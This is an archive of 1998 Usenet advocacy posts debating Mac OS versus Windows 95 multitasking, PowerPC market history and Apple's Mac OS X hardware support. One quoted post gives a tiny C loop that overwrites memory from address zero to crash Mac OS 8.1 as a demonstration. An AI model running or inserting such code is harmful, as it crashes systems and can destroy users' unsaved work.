> I know this was't directed towards me, but I'll answer this since it
> happened recently.
>
> 1) Under Win 95, I could not switch apps at all (Windows Explorer and
> WebTrends) because WebTrends was analyzing a log file.
> 2) Same under Win NT.
> 3) Was trying to open up Network Neighborhood on a Novell network,
> couldn't move any windows until it finished. Win 95.
These are all interesting flaws but the Mac OS shares them and you are
supposedly listing areas where Windows 95 multi-tasking is inferior to MacOS
multi-tasking.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 23 Jul 1998 17:37:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2307981737520001@sdn-ar-002casbarp030.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> > is a VERY long time away. The ones who are not will stick with Allegro and
> > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
>
> Because 8.1 is so obsolete it isn't even funny?
>
> Want prof? Try this on your "stable 8.1":
>
> main() {
> long*addr=0;
> while(1) {
> *addr++=1;
> }
> }
>
> Don't forget to save any unsaved work before....
>
> Magnus
Yeah, but the macos is going to be up to date very soon now!!
At wwdc they even did the above, and the os handled it very gracefully. I
forget what os it was, it was either 8.5 or macos x or rhapsody
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 24 Jul 1998 03:21:36 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6p8uk0$g7n@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <6p5mqd$nsu$1@nnrp1.dejanews.com> <6p7g8o$ccg@newsb.netnews.att.com> <6p8s9j$a80$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
<quinlan@my-dejanews.com> wrote:
>
>What model of each computer do you use? And what about background tasks? Does
>a download proceed as fast on your Mac as it would on a PC while you are
>playing a game?
I have a 7100/66 and a G3/300 MHz at home, and a Compaq Pentium 166 at work.
I don't play games at work, and rarely at home. The Pentium at work is
connected to a 10 Mbps network, from home I have to dial in to the company's
dial-up network at 28.8K. So these are not very comparable situations as
far as the network goes. So, I cannot answer your question as posed.
I think what happens is Windows 95 tries to take advantage of its
"pre-emptive" multi-tasking, and tries running various housekeeping jobs
in the background. Whenever this happens to hit the disk, Windows 95
GUI response time becomes abysmal. (Incidently, I'm writing this from
home, with "Find" doing various things in the background).
-arun gupta
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 02:41:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p8s9j$a80$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <6p7g8o$ccg@newsb.netnews.att.com>
In article <6p7g8o$ccg@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> I use a Windows 95 machine every day at work and a Macintosh at home.
> Whether Windows 95 is preemptively multitasking or not, its response to
> my input is on par with my Macintosh (and when something called "findfast"
> is running, is much worse).
What model of each computer do you use? And what about background tasks? Does
a download proceed as fast on your Mac as it would on a PC while you are
playing a game?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 06:47:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p9ami$olq$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net>
In article <Josh.McKee-2307981802510001@pm3a8.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> MS-Mail client running under Windows 95 attempting to connect to an
> MS-Mail server which is unavailable. Until it times out, the Windows 95
> system is hung. MS-Mail is a 16 bit program, thus it blocks Windows 95's
> "Pre-emptive multitasking".
That is an example where Windows 95 is just as bad. I challenged you to find a
situation where it is worse.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 06:51:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p9at2$oni$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <6p453v$l00$1@nnrp1.dejanews.com> <Josh.McKee-2307981816160001@pm3a8.rmac.net>
In article <Josh.McKee-2307981816160001@pm3a8.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Like I said, the Mac's multitasking isn't perfect. Likewise, I'm not
> trying to prove PMT inferior. All I'm saying is that the Mac's
> implementation of CMT is much better than most PC advocates give it credit
> for. And in my experience, is about on par with Windows 95 for most
> tasks.
I understand how the MacOS multitasking system works. I think that it is
inferior to Windows 95's multitasking system.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Fri, 24 Jul 1998 08:05:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407980805190001@wil49.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net> <6p8t0h$b24$1@nnrp1.dejanews.com>
In article <6p8t0h$b24$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <joe.ragosta-2307981433040001@wil48.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Absolutely. APPLE is the one advertising how fast G3 chips are. Did
> > Motorola or IBM spend even one cent on advertising their CPUs for desktop
> > computers?
>
> Why would they? Since the PPC is only found in one desktop system, they would
> be promoting MacOS and all of Apple's hardware as well. That's a lot of
> marketting baggage to carry when all you want to do is sell a chip. Motorla
> does market their products to embedded system vendors and IBM markets their
> PPC based workstations and servers.
Right. Like Intel doesn't spend zillions of dollars advertising their CPU
to consumers.
>
> > And where were IBM and Motorola when Microsoft was talking about
dropping PPC?
>
> Are you talking about NT on the PPC?
Yes.
>
> > And where is Motorola today when they have the option of buying boxes with
> > Intel CPUs running Windows or boxes with their own CPUs running Mac OS?
>
> Maybe they think that NT is better and are willing to use a different
> processor to get it? Maybe they think that Apple's hardware is crippling
> their processors such PCs have a higher overall performance? Maybe there is
> some software that Motorola wants that doesn't run under the MacOS? There are
> a lot of reasons that might outweight the few dollars that they get from a
> Mac sell. -- Brian Quinlan quinlan@intergate.bc.ca
None of which make any sense. Many studies show Mac OS to be _better_ and
less expensive overall.
And it's not just the few dollars from the Macs installed at Motorola.
They're hurting the rest of their potential market, as well.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 08:06:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407980806200001@wil49.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au>
In article <6p952e$nl4$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-2307982201500001@elk97.dol.net...
> >In article <6p7leg$al7$6@hecate.umd.edu>,
> >davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> >
> >> You forget that no so long ago (5-6 years) there was a big annoucement
> >> of the great alliance called AIM. The unstated and modest goal was to
> >> acquire 10% of the CPU market in a decade. (Can't remember where I read
> >> this from now) That won't be happening now. Motorola had very aggresive
> >> goals to push and expand PPC chips, and really churn it out. Their
> >> frustration was that their ability to push the chip was being limited by
> >> the whim of another company, Apple.
> >
> >Nice revisionism.
> >
> >AIM's inability to capture 10% of the CPU market with PPC was due to a
> >number of factors:
> >
> >IBM dropped OS/2 for PPC
> >IBM dropped AIX for PPC
> >Novell dropped Netware for PPC
> >Microsoft dropped NT for PPC
> >Motorola stopped making PPC computers
> >Sun dropped Solaris for PPC
> >Apple's PPC sales didn't meet expectations.
> >
> >Of all these players, Apple is the only one who stuck with PPC. Blaming
> >Apple for Motorola's inability to reach 10% market share is ridiculous.
>
> Maybe if Apple were a little less greedy and built wide-open PPC machines,
> there would be more OSes and software available for them ? If this happened
> you might see PPC machine sales start to take off as people realise how much
> better they are than most x86 CPUs ? Me, I'd love to be running NT on a PPC
> but I sincerely doubt its ever going to happen (or ever really was).
Once again, why is that Apple's fault?
IBM could have built open PPC machine.
Or Motorola. Or Sun. Or any number of other companies.
It's not Apple's fault that all these companies dropped their PPC plans.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 08:08:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407980808030001@wil49.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org>
In article <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >AIM's inability to capture 10% of the CPU market with PPC was due to a
> >number of factors:
>
> >IBM dropped OS/2 for PPC
> >IBM dropped AIX for PPC
>
> No, AIX is still around.
>
> >Novell dropped Netware for PPC
> >Microsoft dropped NT for PPC
> >Motorola stopped making PPC computers
> >Sun dropped Solaris for PPC
> >Apple's PPC sales didn't meet expectations.
>
> >Of all these players, Apple is the only one who stuck with PPC.
>
> IBM (RS/6000) and Bull Estrella still sell AIX/PowerPC boxen.
I stand correct. Remove AIX from the above list.
Still, it's hardly reasonable to lay all of the blame for PPC not taking
over at Apple's feet.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 24 Jul 1998 19:34:57 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2407981934570001@jp.orgk1.dial.lu.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com>
In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>
> > 20 year + cars are a minute part of the cars in use.
> > 2 year + old macs are the vast majority of macs in use.
>
> You missed the point. A 20-year-old car is not expected to be cutting
> edge. Neither is a 2-year-old Mac (or any PC.) Mac OS X is going to be a
> *cutting edge* OS--and Apple will provide 8.5, 8.6 and 9.0 in parallel
> with OS X as an excellent (but limited) way for non-cutting-edge Macs.
>
> > If that wasn't the case the installed base of macs would be very small
> > indeed given the sales of the last two years....
>
> Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> old--they don't even get tech support. Try to call Apple right now and ask
> them for help with your IIsi.
>
> One more time folks, just for fun: Mac OS X is a *cutting edge* OS. Not a
> typical user OS. Not a have-to-have-it OS. Not a fun bleeps and bloops and
> "ooh, don't my windows look cool!" OS. Only those on the cutting edge are
> going to need it, and only those on the edge will get it.
Oh, so users don't want efficient multitasking?
Users don't want dynamic memory allocation to apps?
Users don't want protected memory, which save their
work and time from being lost and their filesystems from
being corrupted when apps crash?
Let me inform you that these features have been requested since
just after the multifinder was introduced, and Apple has promised
these features to their customers for many years.
Without delivery.
They are possibly _more_ important for the non-'cutting-edge' users
than for the more computer savvy mac users, who can identify and avoid
causes for crashes, understand how and why to allocate memory to apps,
regularly check the integrity of the filesystem, et cetera.
Even in a forum such as this people have or lose credibility you know.
Would you like to repeat that only 'those on the cutting edge are
going to need it [Mac OS X]'?
It would obviously be in Apple's customers best interests if Apple
change their hardware support for MacOS X to include at least the
machines supported by Rhapsody.
Frankly, to find merit in Apples current position on this issue you
would have to be someone speculating in Apple stocks, looking to unload
them in a relatively short time-frame. And even then I'm dubious as to
the wisdom in the current strategy.
Martin Cox wrote:
>Apple needs to be _consolidating_and_growing_ user base. Not forcing
>them to think whether flipping to Wintel is a better idea.
And I couldn't have said it better.
Jonas Palm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 11:19:07 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724111127.21308A-100000@ux5.cso.uiuc.edu>
References: <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu> <joe.ragosta-2407981142330001@wil48.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <joe.ragosta-2407981142330001@wil48.dol.net>
On Fri, 24 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On 24 Jul 1998, Jason S. wrote:
> >
> > > It looks like the Gossamer machines have better memory bandwidth than
> > > the older machines, but I haven't looked at the STREAM data in a while.
> > > Frankly, I think that _all_ Apple mobos are weak in this department, but
> > > at least Gossamer seemed to beat out previous Macs by a fair amount, IIRC.
> >
> > There is definitely a difference in bandwidth, but the difference does not
> > seem to impact overall performance much. The >250MHz 604e PowerMacs
> > compare well with the 233MHz and 266Mhz PowerMac G3s. On some things
> > they are significantly faster than the fastest of the PowerMac G3s.
> >
> > I still maintain that statement I made to Michael.
>
> Actually, I read somewhere that the iMac would outperform the G3/233 due
> to some improvements in the motherboard's memory bandwidth. Anyone know
> about this?
I believe the issue pertains to the ROM (or lack of it on the iMac) and
the current Mac OS that makes use of it if present. I'm not aware of
anything else that could account for this (which doesn't mean there isn't
something).
The PowerMacintosh G3s have a 3 meg ROM. This ROM is not nearly as fast as
the RAM is. A lot of the Mac OS Tool Box functions that are contained in
ROM (particularly low-level stuff). Access to these functions is much
slower than being able to use the same functions in RAM.
The iMac has a much smaller ROM. All that's contained on the ROM of the
iMac is enough to have OpenFirmware. All the Mac OS Tool Box code that
used to be in the ROMs of every Mac now have to be loaded from disk into
memory (this capability to load the ROM from disk into RAM came from work
on getting Mac OS on CHRP). This is better since the RAM access speed is
the same as the other PowerMac G3s, but virtually all the ROM (all that's
relevant to the Mac OS) must now be contained in RAM.
This won't mean much to Mac OS X or Rhapsody, but for the Mac OS results
in a (probably noticible) speed up.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 11:44:32 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-164.phx.primenet.com
Message-ID: <not-2407981144330001@ip-26-164.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <see-below-2407980002030001@dynamic18.pm10.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> > See above. More paranoia. How many Mac users do you really think sit
> > around and have panic attacks because they *might* not be able to run the
> > very latest up-to-the-minute OS?
>
> None. They'll by a PC and run NT or Linux or FreeBSD instead.
Well, you just diqualified yourself from the discussion. I think the
number of people willing to switch away from the friendly Mac gui and
plug-and-play to the scary, command-line tweakiness of BSD or Linux could
all fit on the same subway car. People bought their Macs for a
*reason*--to not have to deal with stuff like that. Do you have numbers to
back up your assetion that Mac users are switching to these OSs?
> Er, yeah. But OS X is aimed at high-end users, right? Otherwise, why bother?
Pardon me a minute--first you bitch and moan and groan that "old" (they
will be when OS X comes out) machines won't be supported by OS X, then you
say it is for high-end users. Wouldn't high-end users be on their second
G3 by the time OS X comes out? Isn't that quite a contradiction on your
part? Contemplating having you cake and eating it too, are you?
> > Specualtion. Paranioa. On a whim?? This shows how detached from reality
> > you are. Do you think apple made the decision to exclude a huge user base
> > ON A WHIM?
>
> Well, then Apple should start explaining exactly what they're doing that's
> so improtant to justify that. Sorry, but Apple gets itself into messes
> like this, so don't blame the customers who have a legitimate reason to
> complain, or at least know the details involved. If Apple can't satisfy
> these customers and isn't forthcoming with answers which would make these
> customers change their minds, they're likely to lose those same customers.
Oh yes, all six of them that are participating on this thread.
> Wrong. All of these charges and accusations are perfectly legitimate
> complaints from Apple's customers, which aren't going away unless Apple
> changes their position or comes out and says exactly _why_ they needed to
> do this and had absolutely no alternative (ie, delaying some less-critical
> features until a later release).
They *HAVE* said so, repeatedly. Mac OS X is running on G3 only because it
is a high-end professional OS aimed at power users and professionals. They
have never indicated anything different. They haven't called OS X the OS
for "the rest of us." Why the hell else would they be developing Sonata in
parallel? Why would they spend all that money to make two OSs if one would
do the job for both? Because they have different target markets, as you
yourself pointed out: Casual users get Sonata, power users (who upgrade
their hardware often--such is the definition of a power user) get OS X.
> Again, if none of these customers care one bit for all the advanced
> features of OS X, then why should Apple even bother? They can certainly
> save a _lot_ of money by just upgrading OS 8 and spending more on
> advertising. I think the people you're talking about are not the target
> market for OS X.
Man, you're just shooting yourself in the foot. More cake and eat it too,
eh? It sounds like even *you* don't want the masses to have OS X. OS X is
*not* for the masses, and those it is aimed at will have G3s by the time
it comes out!
> Again, they were in no way required to upgrade by the OS. They just wanted
> a faster computer (the latest available). Are you saying everyone who runs
> Win98 (or NT) has the resources to do so? But Mac users who wand OS X do?
> So Mac users are now either very rich, or they're _forced_ to use an
> extremely backward OS? (to complement their "obsolete" 9600/350, I
> suppose...)
Is it a shock to you, that computers cost money? What is this ridiculous
attitude you people have that Apple is somehow a Robin Hood who will bring
you the latest and greatest OS features for free? COMPUTERS COST MONEY. To
stay on the bleeding edge, you spend money. OS X will be a bleeding edge
OS, period. Why is this so hard for you to understand?
> > Please, come down of your speuclative high horse and drop all the
> > paranoia. Histrionics only hurts your cause.
>
> Please come up from out of Apple's crack. Mindless advocacy only hurts
> your cause.
I am by no means a mindless advocate. I have studied the issue at hand
extensively. I have three Macs that were "obsoleted" by the Mac OS X
policy, and an orphaned Newton. I am not defending Apple, but pointing out
the pathtic contradictions and suppositions in all these lame arguments
people keep presenting.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 11:45:01 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981145020001@sf-usr1-51-179.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net>
In article <joe.ragosta-2307981259010001@wil73.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > If I were Mr. Moto, I sure would be somewhat sour on Apple. And a
> > Jobs run Apple for sure.
> >
>
> Motorola may have reason to be angry at Apple. Or, it could be as Jobs
> said that Motorola wasn't willing to pay a fair licensing fee.
>
> BUT IT DOESN'T MATTER.
>
> Motorola is doing something incredibly stupid from a business standpoint.
> Not only are they refusing to buy computers based on their own product,
> but they're telling the world about it.
Well, that's true. But on the other hand, business types in general seem to
play an awful lot of "monkey see, monkey do". I've pointed out before, that
they all seem to follow the same "trends". If one big, respected company (in
Silicon Valley that means Hewlett Packard), for instance, decides to replace
cubicles with real offices for everybody, withing a year, half the companies
in the valley will have followed suite. If, several years laters, HP reversed
that decision and put up cubicles again, everybody else would switch back
too. I think this Wintel computer thing is the same idea. They do it because
everybody else does it. Motorola is probably no exception. It wouldn't surprise
me to learn that Motorola's head IS executive doesn't even KNOW that Moto
builds PPC chips!
George Graves
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-yfm4NbRZEDqo@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se> <joe.ragosta-2207980818060001@wil103.dol.net> <FIiROLCWddLd-pn2-7diGdduw31jG@localhost> <MPG.102185c91d2b158d9899ea@news.supernews.com>
MIME-Version: 1.0
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Date: 24 Jul 1998 18:46:44 GMT
Organization: IBM.NET
On Thu, 23 Jul 1998 23:40:11, don.brown@cesoft.com (Donald Brown)
thought aloud:
> In article <FIiROLCWddLd-pn2-7diGdduw31jG@localhost>, pit@iohk.SPAM-
> NOT.com says...
> > > But Mac OS X is _not_ the next generation OS. Rhapsody is.
> >
> > Well now, switch the spin generator off for a moment. Mac OS X, based
> > on what is currently known about Apple's future direction (i.e things
> > might well change between now and then), is / will be the next
> > generation OS. What was Rhapsody until recently was renamed as "Mac OS
> > X Server" and it has become but a stop-gap release with a limited
> > target market. It's now a server product and isn't going run any
> > so-called Carbon apps which is where Apple is taking the Mac userbase.
>
> The "Rhapsody is not really next generation" is often believed, but let's
> think about it.
You're still saying there are two opposing realities what comes to
Rhapsody. For the shafted ('97, '98) pre-G3 owners Rhapsody is the
true modern next generation OS but for the rest of the world,
including the press, the real next generation OS will be the late '99
Mac OS X?
> MacOS-X and Carbon exists for one reason...there weren't enough
> developers creating software for Rhapsody, and the consumer interest was
> soft. Rhapsody was looking like it would be a comercial failure.
Agreed. Rhapsody (now Mac OS X Server) isn't going to cut it as the
modern upgrade to the Classic Mac OS but something needs to be
shipped... and then there are those contractual issues... and
Microsoft promises to port MS-Office only if we promise to delay YB
deployment and even cesoft doesn't believe YB is a viable
cross-platform solution... ;-)
> If Rhapsody had shipped, and flopped, and then Apple came out with the
> new strategy, would we be seeing the same hue and cry? Would people be
> saying "but you promised"?
No, not at all. (We'd be shouting from rooftops "YOU MORONS!!!"
instead ;-) It's very nice that they foresaw the problems and
realized Rhapsody 1.0 was going to become a half-baked stop-gap
solution until those problems could be addressed. Carbon apps running
in a modern, responsible way under Mac OS X, and in not-so-modern and
not-so-responsible way under the Classic Mac OS updates was the fix.
For people who bought last year's Apple hardware the first option is
